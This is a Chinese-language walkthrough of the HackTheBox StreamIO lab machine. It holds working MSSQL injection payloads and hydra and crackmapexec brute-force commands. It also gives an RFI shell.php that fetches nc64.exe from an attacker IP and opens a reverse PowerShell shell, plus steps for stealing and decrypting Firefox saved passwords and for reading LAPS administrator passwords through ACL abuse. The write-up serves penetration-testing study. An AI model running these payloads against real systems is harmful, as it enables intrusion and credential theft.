HTB-StreamIO

主要知识点的集合

爆破子域名

wfuzz -u https://streamio.htb -H "Host: FUZZ.streamio.htb" -w

/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hh 315

探测sab端口三种方法

smbmap -H 10.129.64.95

smbclient -L //10.129.64.95 -N

crackmapexec smb 10.129.64.95

MSSQL注⼊攻击

RedteamNotes' union select 1,name,id,4,5,6 from streamio..sysobjects where

xtype='U';-- -

a' select 1,name,id,4,5,6 from streamio..sysobjects where xtype='U';-- -

Walk-through of SQHell from TryHackMe - pencer.io sql注入的中高级用法,打完回来学习

mssql注入

select * from movie where film like '%[input]%';

现在就算它不报错,但我还是可以有的玩。

⽐如⽤关键词 time';-- - 来试探:

select * from movie where film like '%time';-- -%';

这就是SQL注⼊。如果不是,它将返回0个结果,因为没有电影在标题中有‘';-- -’这样的字符。

事实上输⼊ d' and 1=1 -- 也是有返回值的,也证明是有SQL注⼊的

RedteamNotes' union select 1,2,3,4,5,6;-- - ,获得了反馈。 2 3

RedteamNotes' union select 1,@@version,3,4,5,6;-- -

RedteamNotes' union select 1,name,3,4,5,6 from master..sysdatabases;-- -

从 master 数据库中的 sysdatabases 表中检索数据。在mysql中和sysdatabases对应的表叫

INFORMATION_SCHEMA。

不难推测,当前数据库是STREAMIO。同时streamio_backup也值得关注,备份数据中如有更多凭据,⽤来撞库⼀般很好⽤。但是从运维⻆度⼀般没⼈配置对备份数据库的访问,配置机制上不会,运维⼈员的意愿上更不会。

RedteamNotes' union select 1,(select DB_NAME()),3,4,5,6 from

master..sysdatabases;-- - 获得 srteamio

RedteamNotes' union select 1,name,id,4,5,6 from streamio..sysobjects where

xtype='U';-- - 有个users表

在 SQL Server 中, sysobjects 是⼀个系统表,它包含了有关数据库中的对象(例如表、视图、存储过程等)的元数据信息。在这个查询中, xtype 是 sysobjects 表中的⼀个列,表示对象的类型。where xtype='U' 是⼀个条件,它限制了结果集中只返回对象类型为 'U' 的⾏。在这⾥, 'U' 表示⽤户表(User Table)。这个条件过滤了只有⽤户表的信息被检索出来,其他类型的对象将被排除。

RedteamNotes' union select 1,name,id,4,5,6 from streamio..syscolumns where id in

(885578193,901578250);-- - 有username和 password

RedteamNotes' union select 1,concat(username,';',password),3,4,5,6 from users;-- -

获得账号密码

curl -X POST 'https://watch.streamio.htb/search.php' -d “q=RedteamNotes' union select 1,concat(username,':',password),3,4,5,6 from users -- ” -k -s | grep h5 | sed -e 's/<h5 class="p-2">//g' -e 's/<\/h5>//g'| tr -d " \t"

Victor ;bf55e15b119860a6e6b5a164377da719

| sed -e 's/<h5 class="p-2">//g' -e 's/<\/h5>//g'

  1. sed -e 's/<h5 class="p-2">//g'

    • -e 表示后面跟随的是一个sed脚本。

    • s/<h5 class="p-2">//g

      表示要进行替换的操作。具体来说:

      • s/ 表示进行替换。

      • <h5 class="p-2"> 是要被替换的字符串,这是一个HTML <h5> 标签,带有 class="p-2" 属性。

      • // 是替换为空的目标,即将匹配的字符串替换为空,即删除匹配的字符串。

      • g 表示全局替换,即一行中的所有匹配都会被替换。

    所以,这部分的作用是删除文本中所有匹配 <h5 class="p-2"> 的字符串。

  2. -e 's/<\/h5>//g'

    • 同样,这部分也是一个sed脚本,用于删除HTML标签 </h5>

    • s/<\/h5>//g

      的解释如下:

      • s/ 表示进行替换。

      • <\/h5> 是要被替换的字符串,这是HTML中闭合的 <h5> 标签。

      • // 是替换为空的目标,即将匹配的字符串替换为空,即删除匹配的字符串。

      • g 表示全局替换,即一行中的所有匹配都会被替换。

    所以,这部分的作用是删除文本中所有匹配 </h5> 的字符串。

综合起来,这个sed命令的作用是删除文本中所有 <h5 class="p-2"></h5> 这两个HTML标签,保留标签之间的内容。这种文本处理通常用于从HTML文档中提取或清理文本内容。

| tr -d " \t"

  • tr 是一个字符替换命令,用于转换或删除输入中的字符。

  • -d 选项表示删除指定的字符。

  • " \t" 是要删除的字符集,其中包括空格和制表符。

因此,tr -d " \t" 的作用是将输入中的空格和制表符删除。

爆破(crackmapexec爆破smb,hydra爆破web登入页面,wfuzz枚举参数)

crackmapexec爆破smb

获得的账号密码分开放

┌──(kali㉿kali)-[~/…/RedteamNotes/BoxWalk/HackTheBox/StreamIO]

└─$ cat cracked-passwords | cut -d: -f1 > user

┌──(kali㉿kali)-[~/…/RedteamNotes/BoxWalk/HackTheBox/StreamIO]

└─$ cat cracked-passwords | cut -d: -f3 > pass

爆破smb

crackmapexec smb streamio.htb -u user -p pass --no-bruteforce --continue-on -

success

均失败

hydra爆破web登入页面

格式化⼀下凭据数据

cat cracked-passwords | cut -d: -f1,3 | tee userpass

hydra -C userpass streamio.htb https-post-form

"/login.php:username=^USER^&password=^PASS^:F=failed"

F=failed:这指定了指示登录尝试失败的条件。在这种情况下,如果服务器的响应包含“失败”一词,Hydra 将认为登录尝试不成功,并将继续尝试其他用户名和密码组合

⽤凭据 yoshihide:66boysandgirls.. ,完成在 https://streamio.htb/login.php 的登录

wfuzz枚举参数

wfuzz -u https://streamio.htb/admin/?FUZZ= -w

/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -H "Cookie:

PHPSESSID=cd4mphnq8j1n6m2i63ne1dmtjp" --hh 1678

远程文件包含(powershell命令)

Freed0m/笔记/安全/Web渗透/PHP文章/PHP文件包含/php文件包含漏洞利用小结.md at master · xidaner/Freed0m · GitHub

调试语境下,为了读取到源码⽽不是执⾏源码,通过语句:

https://streamio.htb/admin/?debug=php://filter/convert.base64-

encode/resource=master.php

利用php://filter查看源代码:

php://filter`是一种元封装器,设计用于数据流打开时的筛选过滤应用;在文件包含中用于读取文件内容,读取后输出`base64编码`后的内容,要获取真实内容的话,`需要进行base64解码

代码审计后发现include

curl -X POST 'https://streamio.htb/admin/?debug=master.php' -k -b

'PHPSESSID=cd4mphnq8j1n6m2i63ne1dmtjp' -d 'include=http://10.10.16.16/shell.php'

shell.php的内容

system("powershell -c wget 10.10.16.16/nc64.exe -outfile

\programdata\nc64.exe");

system("\programdata\nc64.exe -e powershell 10.10.16.16 443");

programdata是基本所有用户都可以共享到的文件

-c 表示后面跟随的是 PowerShell 脚本或命令

  • -e powershell该选项指定建立连接后应执行PowerShell命令。

  • 10.10.16.16这是 Netcat 工具将尝试连接的目标计算机的 IP 地址。

  • 443这是 Netcat 工具将在目标计算机上尝试连接的端口号。

rlwrap -cAr nc -lnvp 443 增强交互性

sqlcmd.exe(select-string,Get-Command枚举内容,sqlcmd的使用,chisel端口转发mssql)

web应⽤要看数据库对吧?切换到watch站点。因为在其中我们看到了数据库。

dir -recurse *.php | select-string -pattern "database"

  • dir -recurse \*.php这部分命令是使用dir命令(PowerShell中的别名Get-ChildItem)递归列出.php当前目录及其子目录中所有带有扩展名的文件。

  • |这是管道运算符,它获取左侧命令的输出并将其用作右侧命令的输入。

  • select-string -pattern "database"这部分命令用于Select-String搜索 PHP 文件内容中与指定模式(即字符串“database”)匹配的行。

因此,总而言之,该命令在当前目录及其子目录中搜索 PHP 文件,然后在这些 PHP 文件中查找包含字符串“database”的行。

两组: db_user:B1@hB1@hB1@h 和 db_admin:B1@hx31234567890 ,现在db_admin是⾼价值资产,为

web的watch⻚⾯sql注⼊是应该就是⽤的低权限的db_user⽤户,user不能读取备份数据库,但是admin应该可以。试⼀下。

可以通过chisel等隧道化的⼯具访问数据库,但本机安装了sqlcmd,直接⽤就好了。

# kail中

chisel server -p 9595 --reverse

# 靶机中

chisel.exe client 10.10.16.16:9595 R:127.0.0.1:1433

找sqlcmd在哪

where.exe sqlcmd

⽤gcm也可以,即Get-Command,给其fl参数,即Format-List

gcm sqlcmd.exe | fl

sqlcmd -? 列出⼯具的帮助信息:

根据如上的帮助写查询命令,我们只对backup数据库有访问权

sqlcmd -S localhost -U db_admin -P

B1@hx31234567890 -d streamio_backup -Q "select name from sys.tables;"

v拓展知识:select语句写成 select table_name from

streamio_backup.information_schema.tables; 也是可以的。 information_schema 是标准的SQL

架构,并且多数关系型数据库系统(包括MySQL和SQL Server)都实现了它,但在SQL Server中查询

表的常⻅⽅式是使⽤ sys 架构。

读取users表的信息:

sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -d streamio_backup -Q "select

* from users;“

cat user_creds_raw

1 nikk37

389d14cb8e4e9b94b137deb1caf0612a

cat user_creds_raw | awk -F' ' '{print $2":"$3}' | tee user_creds

nikk37:389d14cb8e4e9b94b137deb1caf0612a

hashcat破解

firefox敏感信息泄露(如何解密码,smb复制)

evil-winrm -u nikk37 -p 'get_dem_girls2@yahoo.com' -i streamio.htb

获取\nikk37和users flag

在 Program Files (x86) 发现安装的firefox。之前的⽤户没有家⽬录,但本⽤户有,会存储⼀些敏感信息吗

goole 搜搜the profiles file location of firefox in windows system

filefox password crack

通过第⼏篇⽂章,我们能够找到敏感⽂件的路径和敏感⽂件的名称,并且有两个⼯具可⽤。

窃取Firefox密码。简介 |由 S12 - H4CK |系统弱点 (systemweakness.com)

How to decrypt Firefox passwords with Python? | by Yicong | Geek Culture | Medium

How to decrypt Firefox passwords with Python? | by Yicong | Geek Culture | Medium工具

Windows:C:/Users/<PC 名称>/AppData/Roaming/Mozilla/Firefox/ProfilesMac:~/Library/Application Support/Firefox/ProfilesLinux:~/.mozilla/firefox/Profiles

以下是相应操作系统的 NSS 库名称。

Windows:nss3.dllMac:libnss3.dylibLinux:libnss3.so

具体是这样的,如下⽤户资料的⽂件路径重要有 key4.dblogins.json两个⽂件,我们可以⻢上验证并试图拿到。

Windows: C:/Users/<PC Name>/AppData/Roaming/Mozilla/Firefox/Profiles

如下路径中有nss3.dll⽂件。

Windows: C:\Program Files\Mozillia Firefox

拓展资料:

\1. key4.db: 是 Firefox 浏览器中的⼀个数据库,⽤于存储加密的敏感数据,如密码、证书和加密密钥。它使⽤ Mozilla 的 Network Security Services (NSS) 库来处理加密和解密操作。key4.db ⽂件包含了⽤于加密和保护登录密码等数据的密钥。这是SQLite的数据库格式,SQLite是⼀种嵌⼊式关系型数据库管理系统(RDBMS),它是⼀个轻量级、⾃包含的、⾼性能的数据库引擎。与传统的客户端-服务器数据库管理系统不同,SQLite 不需要单独的服务器进程,⽽是将整个数据库作为⼀个⽂件存储在主机⽂件系统中。

\2. logins.json: 这个⽂件存储了 Firefox 浏览器中保存的登录凭据,包括⽹站⽤户名和密码等信息。这些登录凭据被加密存储在 logins.json ⽂件中,使⽤ key4.db 中的密钥进⾏加密。

\3. NSSNetwork Security Services): NSS 是⼀个由 Mozilla 开发的库,⽤于实现⽹络安全功能,包括 SSL/TLS(加密通信协议)、数字证书管理和安全存储等。在 Firefox 中,NSS 负责处理加密、解密、数字签名等安全操作,同时也⽤于管理存储加密敏感数据的密钥。这些⽂件在 Firefox 中的作⽤是确保⽤户的登录凭据和其他敏感数据得到安全保护。key4.db ⽤于存储加密所需的密钥,logins.json 存储加密后的登录凭据,⽽ NSS 则提供了实现这些加密和解密操作的功能库。

cd

C:\Users\nikk37\AppData\roaming\mozilla\Firefox\Profiles

ls 有两个文件夹 cd 5rwivk2l.default 这个文件夹里面有东西 type times.json这个凭据没什用 cd..

cd br53rxeg.default-release 这个文件下东西多 有key4.db 和logins.json

在kali中建⽴smb服务,⽤来把⽂件从靶机中拿回来,要设定密码,否则不允许不安全的连接,也要指定-smb2support⽀持协议。

/usr/share/doc/python3-impacket/examples/smbserver.py share . -user

RedteamNotes -pass RedteamNotes -smb2support

完成⽂件的复制,更具参考⽂章的提示,也到程序路径下拿到nss3.dll⽂件:

copy key4.db \10.10.16.16\share

copy logins.json \10.10.16.16\share

C:\Program Files (x86)\Mozilla Firefox> copy nss3.dll \10.10.16.16\share

根据参考⽂章,Firepwd.pyfirefox_decrypt.py都以完成破解。随便⽤⼀个试试看。

git clone GitHub - lclevy/firepwd: firepwd.py, an open source tool to decrypt Mozilla protected passwords

streamio_firefox是包含从靶机中下载回来的key4.db、logins.json和nss3.dll的⽂件夹。执⾏破解

python firepwd/firepwd.py streamio_firefox

cat firefox_creds

https://slack.streamio.htb:b'admin',b'JDg0dd1s@d0p3cr3@t0r'

https://slack.streamio.htb:b'nikk37',b'n1kk1sd0p3t00:)'

https://slack.streamio.htb:b'yoshihide',b'paddpadd@12'

https://slack.streamio.htb:b'JDgodd',b'password@12'

cat firefox_creds | awk -F"'" '{print $2":"$4}' | tee firefox_creds_colon

cat firefox_creds | awk -F"'" '{print $2}' | tee firefox_creds_user

cat firefox_creds | awk -F"'" '{print $4}' | tee firefox_creds_pwd

crackmapexec 爆破smb和winrm。

凭据 JDgodd:JDg0dd1s@d0p3cr3@t0r 可以smb共享登录,没有令我们感兴趣的信息。不能winrm,⽆法获得shell

bloodhound枚举AD获得提权路径(一些参数,pdf有用手工和bloodhound作用一样的)

bloodhound-python -c All -u jdgodd -p 'JDg0dd1s@d0p3cr3@t0r' -ns

10.129.126.185 -d streamio.htb -dc streamio.htb --zip

处理⼀下neo4j数据库,最好重启neo4j⼀下,⽤neo4j:neo4j默认密码登录后,设定⾃⼰的密码,然后我

⽤:neo4j:RedteamNotes登录进Bloodhound。导⼊刚才采集到的⽂件。

First Degree Object Control 已经拥有的用户

在域控制器图标上点选右键,选择“从已拥有节点⾄此的最短路径”

HELP对话框提示了利⽤⽅法,可以按提示进⾏攻击。

wfuzz -u https://streamio.htb/admin/?FUZZ= -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -H "Cookie:PHPSESSID=chmnbko788t766rp9t0amf121l" --hh 1678

提权到administrator利⽤过程(利用powerview脚本添加用户到laps组,ms-Mcs-AdmPwd的三种获取方法

Windows 本身没有 Add-DomainObjectAcl 、 Add-DomainGroupMember 和 Get-DomainObject 等类似功

能,需要我们⾃⼰写或引⼊第三库,我们⽤PowerView这段脚本,⽤wget下载到kali中。官⽅帮助⽂档

在这⾥ About - PowerSploit

Evil-WinRM PS C:\Users\nikk37\Documents> cd c:\programdata

Evil-WinRM PS C:\programdata> upload PowerView.ps1

为JDGodd⽤户凭据构造加密的对象。

Evil-WinRM PS C:\programdata> . .\PowerView.ps1

Evil-WinRM PS C:\programdata> $pass = ConvertTo-SecureString

'JDg0dd1s@d0p3cr3@t0r' -AsPlainText -Force

Evil-WinRM PS C:\programdata> $cred = New-Object

System.Management.Automation.PSCredential('streamio.htb\JDgodd', $pass)

然后,将JDGodd增加到CORE Staff组中。

执⾏加⼊操作:

Evil-WinRM PS C:\programdata> Add-DomainObjectAcl -Credential $cred -

TargetIdentity "Core Staff" -PrincipalIdentity "streamio\JDgodd"

Evil-WinRM PS C:\programdata> Add-DomainGroupMember -Credential $cred -Identity

"Core Staff" -Members "StreamIO\JDgodd"

然后尝试读取管理员密码。默认属性中没有,在扩展属性中识别出管理员密码。这在Timelapse的⿊思

⽂档中也有类似的场景。

Evil-WinRM PS C:\programdata> Get-AdComputer dc -Properties * -Credential $cred

在通过搜索等⽅式如果知道字段名称ms-Mcs-AdmPwd,可以进⾏过滤和查询。

Evil-WinRM PS C:\programdata> Get-AdComputer -Filter * -Properties ms-Mcs-AdmPwd

-Credential $cred

相应地也可以在获得了CORE Staff组身份后通过LDAP读取。

┌──(kali㉿kali)-[~/…/RedteamNotes/BoxWalk/HackTheBox/StreamIO]

└─$ ldapsearch -H ldap://10.129.64.149 -b 'DC=streamIO,DC=htb' -x -D

JDgodd@streamio.htb -w 'JDg0dd1s@d0p3cr3@t0r' "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd

也可以通过crackmapexec获得

┌──(kali㉿kali)-[~/…/RedteamNotes/BoxWalk/HackTheBox/StreamIO]

└─$ crackmapexec smb streamio.htb -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r' --laps --

ntds

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值